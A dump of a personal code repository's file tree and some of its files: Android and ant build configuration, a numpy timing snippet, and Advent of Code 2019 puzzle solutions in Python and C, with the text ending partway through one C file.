├── .clang-format ├── .gitignore ├── MIT6-172 ├── 01_m01.c └── 01_m01.py ├── README.md ├── android ├── ArAttemptTwo │ ├── .classpath │ ├── .project │ ├── AndroidManifest.xml │ ├── default.properties │ ├── project.properties │ ├── res │ │ ├── drawable-hdpi │ │ │ └── icon.png │ │ ├── drawable-ldpi │ │ │ └── icon.png │ │ ├── drawable-mdpi │ │ │ └── icon.png │ │ ├── layout │ │ │ └── main.xml │ │ └── values │ │ │ └── strings.xml │ └── src │ │ └── de │ │ └── amnoid │ │ └── SensorTestActivity.java └── HalloDraw │ ├── .classpath │ ├── .project │ ├── .settings │ └── org.eclipse.jdt.core.prefs │ ├── AndroidManifest.xml │ ├── proguard-project.txt │ ├── project.properties │ ├── res │ ├── drawable-hdpi │ │ └── ic_launcher.png │ ├── drawable-ldpi │ │ └── ic_launcher.png │ ├── drawable-mdpi │ │ └── ic_launcher.png │ ├── drawable-xhdpi │ │ └── ic_launcher.png │ ├── layout │ │ └── main.xml │ └── values │ │ └── strings.xml │ └── src │ └── de │ └── amnoid │ └── hallo │ ├── HalloActivity.java │ └── MyView.java ├── ant ├── build.ninja ├── build.xml ├── myManifest └── src │ └── Foo.java ├── aoc └── 2019 │ ├── 1.py │ ├── 10.py │ ├── 10b.py │ ├── 11.c │ ├── 11b.c │ ├── 12.c │ ├── 12b.cc │ ├── 13.c │ ├── 13b.c │ ├── 14.py │ ├── 14b.py │ ├── 15.c │ ├── 15b.c │ ├── 16.py │ ├── 16_2.py │ ├── 16_3.c │ ├── 16_3.py │ ├── 16b.c │ ├── 16b.py │ ├── 17.c │ ├── 17.txt │ ├── 17b.c │ ├── 18.py │ ├── 18b.py │ ├── 18b_2.py │ ├── 19.c │ ├── 19b.c │ ├── 1b.py │ ├── 1b_2.py │ ├── 2.c │ ├── 20.py │ ├── 20b.py │ ├── 21.c │ ├── 21b.c │ ├── 22.py │ ├── 22_2.py │ ├── 22_3.py │ ├── 22_4.py │ ├── 22_5.py │ ├── 22_6.py │ ├── 22b.py │ ├── 23.c │ ├── 23b.c │ ├── 24.py │ ├── 24b.py │ ├── 25.c │ ├── 2b.c │ ├── 3.py │ ├── 3b.py │ ├── 4.c │ ├── 4b.c │ ├── 5.c │ ├── 5b.c │ ├── 6.py │ ├── 6b.py │ ├── 7.c │ ├── 7b.c │ ├── 8.py │ ├── 8b.py │ ├── 9.c │ ├── 9b.c │ ├── intcode.c │ └── intcode_small.c ├── appel └── ch01.c ├── arduino ├── linus │ └── linus.ino ├── mindbot │ └── mindbot.ino ├── mindwave │ └── mindwave.ino └── range_hc_sr04 │ └── range_hc_sr04.ino ├── asm ├── build.ninja ├── conc.asm ├── nicertiny64.asm └── small.asm ├── atreus ├── macbookkeyboarddims.txt ├── macbookkeyshield_in.svg ├── macbookkeyshield_in_upper.svg ├── macbookkeyshield_mm.svg ├── macbookkeyshield_mm_103_5.svg ├── macbookkeyshield_mm_104.svg ├── macbookkeyshield_mm_upper.svg └── screws.py ├── aus ├── .clang-format ├── .gitignore ├── Makefile ├── README.md ├── aus.cc ├── draw_line.cc ├── draw_line.h ├── draw_line_test.cc ├── framebuffer.cc ├── framebuffer.h ├── notes.txt ├── pixel.h └── surface.h ├── autoupdate.sh ├── bench.py ├── bktree ├── bktree.cc └── bktree_bench.cc ├── browzer └── browzer.zig ├── build-qemu.sh ├── cab ├── CHHUFMN.csm ├── INRLOOPS.H ├── dumpcab.py ├── gunzip.c ├── gunzip.py ├── huftab.py ├── notes.txt └── unhuf.py ├── cam └── cam-param.html ├── color.py ├── crash.cc ├── crash_signal.cc ├── cryptopals ├── set1 │ ├── 1.py │ ├── 2.py │ ├── 3.py │ ├── 3_2.py │ ├── 4.py │ ├── 4.txt │ ├── 5.py │ ├── 6.py │ ├── 6.txt │ ├── 6_timeit.py │ ├── 7.py │ ├── 7.txt │ ├── 8.py │ └── 8.txt └── set2 │ ├── 10.py │ ├── 10.txt │ ├── 11.py │ ├── 12.py │ └── 9.py ├── ctf └── pico │ ├── aes-abc-un.py │ ├── handy.exp │ ├── handy.py │ ├── rsa.py │ ├── shell.c │ ├── times-up-again-fork-bc.c │ ├── times-up-again-fork.c │ ├── times-up-again-popen.c │ ├── times-up-again-spawn.c │ └── times-up.exp ├── cv ├── .gitignore ├── alloc_graymap.c ├── alloc_graymap.h ├── blur_box.c ├── blur_box.h ├── build.ninja ├── connected_component.c ├── connected_component.h ├── find_corners.c ├── find_corners.h ├── find_sudoku.c ├── graymap.h ├── graymap_pgm.c ├── graymap_pgm.h ├── linear.c ├── linear.h ├── threshold.c ├── threshold.h └── train_mac.m ├── darkmode.css ├── dct.cc ├── demumble ├── README.md └── demumble_test.py ├── depfiles.txt ├── dm3tool ├── Makefile ├── README.txt ├── dm3.h ├── dm3_api.c ├── dm3_api.h ├── main.c └── pieces.txt ├── dodecahegraph.py ├── dump_backtrace.c ├── encryption_nocopy.pdf ├── envbench ├── build.ninja ├── hashlink.c └── test00.bench ├── fontsay.py ├── gcd └── write.c ├── go ├── bottle.go ├── bottlepost.go ├── distfield │ ├── Makefile │ ├── distfield.go │ ├── math32.go │ ├── math32_test.go │ ├── noise.go │ └── vec.go ├── equals.go ├── hello.go ├── mandel.go └── min.go ├── heifdump.c ├── hello.pdf ├── icc-tags.txt ├── icosagraph.py ├── iso8601 ├── iso8601_0.cc ├── iso8601_1.cc ├── iso8601_10.cc ├── iso8601_11.cc ├── iso8601_12.cc ├── iso8601_13.cc ├── iso8601_14.cc ├── iso8601_15.cc ├── iso8601_16.cc ├── iso8601_2.cc ├── iso8601_3.cc ├── iso8601_4.cc ├── iso8601_5.cc ├── iso8601_6.cc ├── iso8601_7.cc ├── iso8601_8.cc └── iso8601_9.cc ├── jpeg_exif_dump.c ├── kalman └── constant.py ├── kattis ├── allaboutthatbase.py ├── classy.py ├── milestones.go └── primepath.cc ├── libdump.c ├── llvmgnsyncbot ├── README.md ├── annotate.py ├── incidents │ ├── 1.md │ └── 2.md ├── stats │ ├── compile_time_avg.py │ ├── stats.py │ └── steps.py ├── syncbot.py ├── syncbot.sh └── watch.sh ├── mac ├── capturetest │ ├── capturetest.xcodeproj │ │ └── project.pbxproj │ └── capturetest │ │ ├── AppDelegate.h │ │ ├── AppDelegate.m │ │ ├── capturetest-Info.plist │ │ ├── capturetest-Prefix.pch │ │ ├── controller.h │ │ ├── controller.m │ │ ├── en.lproj │ │ ├── Credits.rtf │ │ ├── InfoPlist.strings │ │ └── MainMenu.xib │ │ └── main.m └── dispatch_one_large.c ├── macperf ├── hvf.c ├── hvf.entitlements ├── kdebug.h ├── kdebug_utils.h ├── kperf.h ├── kperfdata.h ├── macperf.cc ├── spin.c └── types.h ├── mail.py ├── make_palettized_jpeg2000.py ├── mc └── mc.py ├── modules └── notes.txt ├── njt └── index.html ├── nndl └── README.md ├── notes ├── apple_symbol_versioning.md ├── auto_git_rebase_across_mechanical_changes.md ├── cache.md ├── catalyst.md ├── clang_dump.md ├── clang_static_analyzer_internals.md ├── copydir.md ├── jpeg_exif_dump.md ├── llvm_pgo.md ├── optimization-report.md ├── path-stroke.md ├── plo.md ├── sips.md ├── thread_local_mac.md └── xctrace.md ├── nproc_win.cc ├── numa └── int.py ├── numrepl.py ├── oauth2_print_goma_client_version.sh ├── openscad ├── soccerball.scad ├── soccerball_parts.scad └── turtle.scad ├── otf.py ├── pdb ├── .gitignore ├── build.bat ├── builddir.bat ├── debug.bat ├── file.cc └── subdir │ └── file2.cc ├── pdfdump.c ├── pearls ├── sec151_chash.cpp ├── sec151_stlmap.cpp └── sec151_stlunorderedmap.cpp ├── pgotest ├── .gitignore ├── bar.cc ├── baz.cc └── build.sh ├── pngdump.c ├── predraft ├── .gitignore ├── NOTES.txt ├── build.ninja ├── object.h ├── parser.in.c ├── prototypes │ └── p1.in.cc └── stream.h ├── res ├── cvtres.cc ├── distrib.py ├── pptest.cc ├── rc.cc ├── resdump.c ├── resobjdump.c ├── test │ ├── accelerators.rc │ ├── accelerators.res │ ├── bitmap.rc │ ├── bitmap.res │ ├── bitmap_24.bmp │ ├── bitmap_4.bmp │ ├── bitmap_8.bmp │ ├── bitmap_trailing_garbage.bmp │ ├── cursor.cur │ ├── cursor.rc │ ├── cursor.res │ ├── cursor_32.cur │ ├── cursor_8.cur │ ├── custom.rc │ ├── custom.res │ ├── custom_inline.rc │ ├── custom_inline.res │ ├── cwdfile.txt │ ├── dialog_controls.rc │ ├── dialog_controls.res │ ├── dialog_nocontrols.rc │ ├── dialog_nocontrols.res │ ├── dialogex_controls.rc │ ├── dialogex_controls.res │ ├── dialogex_nocontrols.rc │ ├── dialogex_nocontrols.res │ ├── dir1 │ │ └── file.txt │ ├── dir2 │ │ ├── dir1 │ │ │ └── file.txt │ │ └── file.txt │ ├── dirsearch.rc │ ├── dirsearch.res │ ├── dirsearchIdir1.Idir2.res │ ├── dirsearchIdir1.res │ ├── dirsearchIdir2.Idir1.res │ ├── dirsearchIdir2.res │ ├── dirsearchIdir2dir1.res │ ├── dlginclude.rc │ ├── dlginclude.res │ ├── eval.rc │ ├── eval.res │ ├── file2.txt │ ├── foo.html │ ├── foo_new.ico │ ├── foo_old.ico │ ├── foo_png.ico │ ├── html.rc │ ├── html.res │ ├── html_inline.rc │ ├── html_inline.res │ ├── icon.rc │ ├── icon.res │ ├── language.rc │ ├── language.res │ ├── literals_int.rc │ ├── literals_int.res │ ├── literals_string.rc │ ├── literals_string.res │ ├── menu.rc │ ├── menu.res │ ├── menu_opts.rc │ ├── menu_opts.res │ ├── rcdata.rc │ ├── rcdata.res │ ├── rcdata_inline.rc │ ├── rcdata_inline.res │ ├── stringnames.rc │ ├── stringnames.res │ ├── stringtable.rc │ ├── stringtable.res │ ├── stringtable_by_language.rc │ ├── stringtable_by_language.res │ ├── unicode_simple_utf16le_bom.rc │ ├── unicode_simple_utf16le_bom.res │ ├── unicode_simple_utf16le_nobom.rc │ ├── unicode_simple_utf16le_nobom.res │ ├── unicode_utf16le_bom_custom.rc │ ├── unicode_utf16le_bom_custom.res │ ├── unicode_utf16le_bom_dialog.rc │ ├── unicode_utf16le_bom_dialog.res │ ├── unicode_utf16le_bom_menu.rc │ ├── unicode_utf16le_bom_menu.res │ ├── unicode_utf16le_bom_stringtable.rc │ ├── unicode_utf16le_bom_stringtable.res │ ├── unicode_utf16le_bom_versioninfo.rc │ ├── unicode_utf16le_bom_versioninfo.res │ ├── versioninfo.rc │ ├── versioninfo.res │ ├── versioninfo_fixedonly.rc │ ├── versioninfo_fixedonly.res │ ├── versioninfo_slurp.rc │ └── versioninfo_slurp.res ├── test_pptest.sh └── test_rc.py ├── rotn.py ├── rpos ├── README.md ├── build.sh ├── kernel.ld ├── kernel.s └── run.sh ├── run.cc ├── rust └── byexample │ ├── 01_hello.go │ ├── 01_hello.rs │ ├── 02_print.go │ └── 02_print.rs ├── scrape └── scrape.py ├── sigint.sh ├── sse_mandel.c ├── suffixtree.cc ├── suo ├── DebuggerFindSource_dump.cc ├── DebuggerFindSource_write.cc ├── conv.cc ├── conv.py └── suodump.cc ├── swarm-script.sh ├── swoosh.py ├── tardump.py ├── testcov.sh ├── tspp ├── tsconfig.json ├── tspp.html └── tspp.ts ├── twitsearch.py ├── unwinfo.py ├── vm └── baby.c ├── watdbg ├── build.ninja └── watdbg.cc ├── web ├── audio.html ├── bezier-patch.html ├── darkmode.html ├── darkmode2.html ├── darkmode3.html ├── drop-alpha.png ├── drop-color.png ├── gputext │ ├── gputext.html │ ├── ttf_reader.js │ └── ttfcanvas.html ├── pos.html ├── raindrops.html ├── spiro.html └── webgl │ ├── README.txt │ ├── cam.html │ ├── fbm.html │ ├── jimmy.jpg │ └── webgl.html ├── win32 └── getfilename.cc ├── wpng ├── gz.c ├── wpng.c ├── wpng_long.c ├── wtga.c └── wtiff.c ├── xmltest_in.xml ├── xmltest_libxml.cc ├── xmltest_msxml.cc ├── xmltest_msxml_import.cc └── yak ├── .gitignore ├── Makefile ├── boxes.txt └── yak.c /.clang-format: -------------------------------------------------------------------------------- 1 | BasedOnStyle: Chromium 2 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *~ 2 | .*.sw? 3 | 4 | buildlog/ 5 | buildlog_cache/ 6 | html/ 7 | -------------------------------------------------------------------------------- /MIT6-172/01_m01.py: -------------------------------------------------------------------------------- 1 | import timeit 2 | print '%f ms' % (1000 * timeit.timeit( 3 | 'np.dot(np.random.rand(1024, 1024), np.random.rand(1024, 1024))', 4 | setup='import numpy as np', number=1)) # 67 ms. 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | hack 2 | ==== 3 | 4 | various small things not worth their own repo -------------------------------------------------------------------------------- /android/ArAttemptTwo/.classpath: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /android/ArAttemptTwo/.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | ArAttemptTwo 4 | 5 | 6 | 7 | 8 | 9 | com.android.ide.eclipse.adt.ResourceManagerBuilder 10 | 11 | 12 | 13 | 14 | com.android.ide.eclipse.adt.PreCompilerBuilder 15 | 16 | 17 | 18 | 19 | org.eclipse.jdt.core.javabuilder 20 | 21 | 22 | 23 | 24 | com.android.ide.eclipse.adt.ApkBuilder 25 | 26 | 27 | 28 | 29 | 30 | com.android.ide.eclipse.adt.AndroidNature 31 | org.eclipse.jdt.core.javanature 32 | 33 | 34 | -------------------------------------------------------------------------------- /android/ArAttemptTwo/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 8 | 9 | 10 | 11 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /android/ArAttemptTwo/default.properties: -------------------------------------------------------------------------------- 1 | # Indicates whether an apk should be generated for each density. 2 | split.density=false 3 | # Project target. 4 | target=android-16 5 | -------------------------------------------------------------------------------- /android/ArAttemptTwo/project.properties: -------------------------------------------------------------------------------- 1 | # This file is automatically generated by Android Tools. 2 | # Do not modify this file -- YOUR CHANGES WILL BE ERASED! 3 | # 4 | # This file must be checked in Version Control Systems. 5 | # 6 | # To customize properties used by the Ant build system edit 7 | # "ant.properties", and override values to adapt the script to your 8 | # project structure. 9 | # 10 | # To enable ProGuard to shrink and obfuscate your code, uncomment this (available properties: sdk.dir, user.home): 11 | #proguard.config=${sdk.dir}/tools/proguard/proguard-android.txt:proguard-project.txt 12 | 13 | # Indicates whether an apk should be generated for each density. 14 | split.density=false 15 | # Project target. 16 | target=android-18 17 | -------------------------------------------------------------------------------- /android/ArAttemptTwo/res/drawable-hdpi/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/android/ArAttemptTwo/res/drawable-hdpi/icon.png -------------------------------------------------------------------------------- /android/ArAttemptTwo/res/drawable-ldpi/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/android/ArAttemptTwo/res/drawable-ldpi/icon.png -------------------------------------------------------------------------------- /android/ArAttemptTwo/res/drawable-mdpi/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/android/ArAttemptTwo/res/drawable-mdpi/icon.png -------------------------------------------------------------------------------- /android/ArAttemptTwo/res/layout/main.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 12 | 13 | -------------------------------------------------------------------------------- /android/ArAttemptTwo/res/values/strings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | Hello World, ArAttemptTwo! 4 | ArAttemptTwo 5 | 6 | -------------------------------------------------------------------------------- /android/HalloDraw/.classpath: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /android/HalloDraw/.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | Hallo 4 | 5 | 6 | 7 | 8 | 9 | com.android.ide.eclipse.adt.ResourceManagerBuilder 10 | 11 | 12 | 13 | 14 | com.android.ide.eclipse.adt.PreCompilerBuilder 15 | 16 | 17 | 18 | 19 | org.eclipse.jdt.core.javabuilder 20 | 21 | 22 | 23 | 24 | com.android.ide.eclipse.adt.ApkBuilder 25 | 26 | 27 | 28 | 29 | 30 | com.android.ide.eclipse.adt.AndroidNature 31 | org.eclipse.jdt.core.javanature 32 | 33 | 34 | -------------------------------------------------------------------------------- /android/HalloDraw/.settings/org.eclipse.jdt.core.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 3 | org.eclipse.jdt.core.compiler.compliance=1.5 4 | org.eclipse.jdt.core.compiler.source=1.5 5 | -------------------------------------------------------------------------------- /android/HalloDraw/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 8 | 9 | 12 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /android/HalloDraw/proguard-project.txt: -------------------------------------------------------------------------------- 1 | # To enable ProGuard in your project, edit project.properties 2 | # to define the proguard.config property as described in that file. 3 | # 4 | # Add project specific ProGuard rules here. 5 | # By default, the flags in this file are appended to flags specified 6 | # in ${sdk.dir}/tools/proguard/proguard-android.txt 7 | # You can edit the include path and order by changing the ProGuard 8 | # include property in project.properties. 9 | # 10 | # For more details, see 11 | # http://developer.android.com/guide/developing/tools/proguard.html 12 | 13 | # Add any project specific keep options here: 14 | 15 | # If your project uses WebView with JS, uncomment the following 16 | # and specify the fully qualified class name to the JavaScript interface 17 | # class: 18 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 19 | # public *; 20 | #} 21 | -------------------------------------------------------------------------------- /android/HalloDraw/project.properties: -------------------------------------------------------------------------------- 1 | # This file is automatically generated by Android Tools. 2 | # Do not modify this file -- YOUR CHANGES WILL BE ERASED! 3 | # 4 | # This file must be checked in Version Control Systems. 5 | # 6 | # To customize properties used by the Ant build system edit 7 | # "ant.properties", and override values to adapt the script to your 8 | # project structure. 9 | # 10 | # To enable ProGuard to shrink and obfuscate your code, uncomment this (available properties: sdk.dir, user.home): 11 | #proguard.config=${sdk.dir}/tools/proguard/proguard-android.txt:proguard-project.txt 12 | 13 | # Project target. 14 | target=android-15 15 | -------------------------------------------------------------------------------- /android/HalloDraw/res/drawable-hdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/android/HalloDraw/res/drawable-hdpi/ic_launcher.png -------------------------------------------------------------------------------- /android/HalloDraw/res/drawable-ldpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/android/HalloDraw/res/drawable-ldpi/ic_launcher.png -------------------------------------------------------------------------------- /android/HalloDraw/res/drawable-mdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/android/HalloDraw/res/drawable-mdpi/ic_launcher.png -------------------------------------------------------------------------------- /android/HalloDraw/res/drawable-xhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nico/hack/f9e9573f1afb48f9dd30f4d225d78fcd6bbb3bca/android/HalloDraw/res/drawable-xhdpi/ic_launcher.png -------------------------------------------------------------------------------- /android/HalloDraw/res/layout/main.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 11 | 12 | -------------------------------------------------------------------------------- /android/HalloDraw/res/values/strings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Hello World, HalloActivity! 5 | Hallo 6 | 7 | -------------------------------------------------------------------------------- /android/HalloDraw/src/de/amnoid/hallo/HalloActivity.java: -------------------------------------------------------------------------------- 1 | package de.amnoid.hallo; 2 | 3 | import android.app.Activity; 4 | import android.os.Bundle; 5 | import android.view.View; 6 | 7 | public class HalloActivity extends Activity { 8 | /** Called when the activity is first created. */ 9 | @Override 10 | public void onCreate(Bundle savedInstanceState) { 11 | super.onCreate(savedInstanceState); 12 | // setContentView(R.layout.main); 13 | View view = new MyView(this); 14 | setContentView(view); 15 | } 16 | } -------------------------------------------------------------------------------- /ant/build.ninja: -------------------------------------------------------------------------------- 1 | rule javac 2 | command = javac -sourcepath src -d build/classes $in 3 | rule jar 4 | command = jar cfm $out $manifest -C $dir . 5 | 6 | build build/classes/Foo.class: javac src/Foo.java 7 | build build/jar/Foo.jar: jar | myManifest build/classes/Foo.class 8 | manifest = myManifest 9 | dir = build/classes 10 | 11 | build compile: phony build/classes/Foo.class 12 | build jar: phony build/jar/Foo.jar 13 | -------------------------------------------------------------------------------- /ant/build.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /ant/myManifest: -------------------------------------------------------------------------------- 1 | Main-Class: Foo 2 | -------------------------------------------------------------------------------- /ant/src/Foo.java: -------------------------------------------------------------------------------- 1 | public class Foo { 2 | public static void main(String[] args) { 3 | System.out.println("foo"); 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /aoc/2019/1.py: -------------------------------------------------------------------------------- 1 | from __future__ import division, print_function 2 | import fileinput 3 | print(sum(int(l.rstrip()) // 3 - 2 for l in fileinput.input())) 4 | -------------------------------------------------------------------------------- /aoc/2019/10.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | import fileinput 3 | import fractions 4 | 5 | m = list(fileinput.input()) 6 | points = [ (x, y) for y, l in enumerate(m) for x, c in enumerate(l) if c == '#'] 7 | seen = [] 8 | for p in points: 9 | dirs = set() 10 | for p2 in points: 11 | d = (p2[0] - p[0], p2[1] - p[1]) 12 | g = abs(fractions.gcd(d[0], d[1])) 13 | if g != 0: 14 | dirs.add((d[0]/g, d[1]/g)) 15 | seen.append(len(dirs)) 16 | print(max(seen)) 17 | -------------------------------------------------------------------------------- /aoc/2019/10b.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | import fileinput 3 | import fractions 4 | import math 5 | 6 | m = list(fileinput.input()) 7 | points = [ (x, y) for y, l in enumerate(m) for x, c in enumerate(l) if c == '#'] 8 | seen = [] 9 | for p in points: 10 | dirs = {} 11 | for p2 in points: 12 | d = (p2[0] - p[0], p2[1] - p[1]) 13 | g = abs(fractions.gcd(d[0], d[1])) 14 | if g != 0: 15 | dirs.setdefault((d[0]/g, d[1]/g), []).append( 16 | (math.hypot(d[0], d[1]), p2)) 17 | seen.append((len(dirs), p, dirs)) 18 | 19 | m, p, dirmap = max(seen) 20 | for d in dirmap: 21 | dirmap[d] = sorted(dirmap[d]) 22 | 23 | print(m, p) 24 | dirs = sorted(dirmap.keys(), key=lambda x: -math.atan2(x[0], x[1])) 25 | for i, d in enumerate(dirs): 26 | print(i + 1, d, dirmap[d]) 27 | -------------------------------------------------------------------------------- /aoc/2019/12.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | static int delta(int a, int b) { 5 | if (a < b) return 1; 6 | if (a > b) return -1; 7 | return 0; 8 | } 9 | 10 | static void update_vel(int* vel, int* pos, const int N) { 11 | for (int i = 0; i < N; ++i) 12 | for (int j = 0; j < N; ++j) 13 | for (int k = 0; k < 3; ++k) 14 | vel[i*3 + k] += delta(pos[i*3 + k], pos[j*3 + k]); 15 | } 16 | 17 | static void update_pos(int* vel, int* pos, const int N) { 18 | for (int i = 0; i < N; ++i) 19 | for (int k = 0; k < 3; ++k) 20 | pos[i*3 + k] += vel[i*3 + k]; 21 | } 22 | 23 | int abs_sum(int* p) { 24 | return abs(p[0]) + abs(p[1]) + abs(p[2]); 25 | } 26 | 27 | static int total_energy(int* vel, int* pos, const int N) { 28 | int total = 0; 29 | for (int i = 0; i < N; ++i) 30 | total += abs_sum(&pos[3*i]) * abs_sum(&vel[3*i]); 31 | return total; 32 | } 33 | 34 | 35 | static void print(int* vel, int* pos, const int N) { 36 | for (int i = 0; i < N; ++i) { 37 | printf("pos:"); 38 | for (int k = 0; k < 3; ++k) 39 | printf(" %3d", pos[i*3 + k]); 40 | printf(", vel:"); 41 | for (int k = 0; k < 3; ++k) 42 | printf(" %3d", vel[i*3 + k]); 43 | printf("\n"); 44 | } 45 | printf("\n"); 46 | } 47 | 48 | int main() { 49 | int pos[] = { 50 | -1, -4, 0, 51 | 4, 7, -1, 52 | -14, -10, 9, 53 | 1, 2, 17, 54 | }; 55 | const int N = sizeof(pos)/sizeof(pos[0])/3; 56 | 57 | int vel[N*3] = { 0 }; 58 | 59 | for (int step = 0; step < 1000; ++step) { 60 | update_vel(vel, pos, N); 61 | update_pos(vel, pos, N); 62 | } 63 | printf("%d\n", total_energy(vel, pos, N)); 64 | } 65 | -------------------------------------------------------------------------------- /aoc/2019/14.py: -------------------------------------------------------------------------------- 1 | from __future__ import division, print_function 2 | import collections 3 | import math 4 | import fileinput 5 | 6 | 7 | def parse_edge(e): 8 | cost, name = e.split() 9 | return int(cost), name 10 | 11 | react = {} 12 | for l in fileinput.input(): 13 | lhs, rhs = l.rstrip().split(' => ') 14 | lhs = [parse_edge(e) for e in lhs.split(', ')] 15 | rhs_cost, rhs_name = parse_edge(rhs) 16 | react[rhs_name] = rhs_cost, {lhs_name: lhs_cost 17 | for lhs_cost, lhs_name in lhs} 18 | 19 | topo = [] 20 | dfs_visited = set(['ORE']) 21 | def dfs(n): 22 | if n in dfs_visited: 23 | return 24 | dfs_visited.add(n) 25 | for c in react[n][1]: 26 | dfs(c) 27 | topo.append(n) 28 | dfs('FUEL') 29 | topo.reverse() 30 | 31 | #print(topo) 32 | need = collections.defaultdict(int, FUEL=1) 33 | for raw in topo: 34 | #print(need) 35 | for c in react[raw][1]: 36 | need[c] += math.ceil(need[raw] / react[raw][0]) * react[raw][1][c] 37 | del need[raw] 38 | 39 | print(int(need['ORE'])) 40 | -------------------------------------------------------------------------------- /aoc/2019/14b.py: -------------------------------------------------------------------------------- 1 | from __future__ import division, print_function 2 | import collections 3 | import math 4 | import fileinput 5 | 6 | 7 | def parse_edge(e): 8 | cost, name = e.split() 9 | return int(cost), name 10 | 11 | react = {} 12 | for l in fileinput.input(): 13 | lhs, rhs = l.rstrip().split(' => ') 14 | lhs = [parse_edge(e) for e in lhs.split(', ')] 15 | rhs_cost, rhs_name = parse_edge(rhs) 16 | react[rhs_name] = rhs_cost, {lhs_name: lhs_cost 17 | for lhs_cost, lhs_name in lhs} 18 | 19 | topo = [] 20 | dfs_visited = set(['ORE']) 21 | def dfs(n): 22 | if n in dfs_visited: 23 | return 24 | dfs_visited.add(n) 25 | for c in react[n][1]: 26 | dfs(c) 27 | topo.append(n) 28 | dfs('FUEL') 29 | topo.reverse() 30 | 31 | def n_fuel(n): 32 | need = collections.defaultdict(int, FUEL=n) 33 | for raw in topo: 34 | #print(need) 35 | for c in react[raw][1]: 36 | need[c] += math.ceil(need[raw] / react[raw][0]) * react[raw][1][c] 37 | del need[raw] 38 | return int(need['ORE']) 39 | 40 | # XXX Try max-flow from ORE to FUEL? But short on time, so bin search for now. 41 | lo = 1000000000000 // n_fuel(1) 42 | hi = 1000000000000 43 | while hi - lo > 1: 44 | mid = lo + (hi - lo) // 2 45 | ore = n_fuel(mid) 46 | if ore <= 1000000000000: 47 | lo = mid 48 | else: 49 | hi = mid 50 | 51 | print(lo) 52 | -------------------------------------------------------------------------------- /aoc/2019/16.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | import itertools 3 | import fileinput 4 | 5 | 6 | def pattern(i): 7 | it = itertools.cycle(itertools.chain( 8 | itertools.repeat(0, i), 9 | itertools.repeat(1, i), 10 | itertools.repeat(0, i), 11 | itertools.repeat(-1, i))) 12 | next(it) 13 | return it 14 | 15 | 16 | def step(state): 17 | return [abs(sum([a*b for a, b in zip(state, pattern(i+1))])) % 10 18 | for i in range(len(state))] 19 | 20 | 21 | print_pattern = True 22 | if print_pattern: 23 | n = 160 24 | for i in range(1, n + 1): 25 | c = { 1: '1', 0: '.', -1: '!' } 26 | print('%3d' % i, ''.join(c[k] for k in itertools.islice(pattern(i), n))) 27 | 28 | n = [int(n) for n in fileinput.input()[0].rstrip()] 29 | for i in range(100): 30 | n = step(n) 31 | print(''.join(str(i) for i in n[0:8])) 32 | -------------------------------------------------------------------------------- /aoc/2019/16_2.py: -------------------------------------------------------------------------------- 1 | from __future__ import print_function 2 | import fileinput 3 | 4 | 5 | # Like 16.py, but about 10x faster on the example input. 6 | def step(state): 7 | start, step, sign = 0, 1, 1 8 | new_state = [0] * len(state) 9 | for i in range(len(state)): 10 | s = 0 11 | for k in range(start, len(state), 2*step): 12 | s += sign * sum(state[k:k+step]) 13 | sign = -sign 14 | start += 1 15 | step += 1 16 | sign = 1 17 | new_state[i] = abs(s) % 10 18 | 19 | return new_state 20 | 21 | n = [int(n) for n in fileinput.input()[0].rstrip()] 22 | for i in range(100): 23 | n = step(n) 24 | print(''.join(str(i) for i in n[0:8])) 25 | -------------------------------------------------------------------------------- /aoc/2019/16_3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int min(int a, int b) { 7 | if (a < b) return a; 8 | return b; 9 | } 10 | 11 | void step(char* dst, char* src, int n) { 12 | int cumsum[n + 1]; 13 | cumsum[0] = 0; 14 | for (int i = 0; i < n; ++i) 15 | cumsum[i + 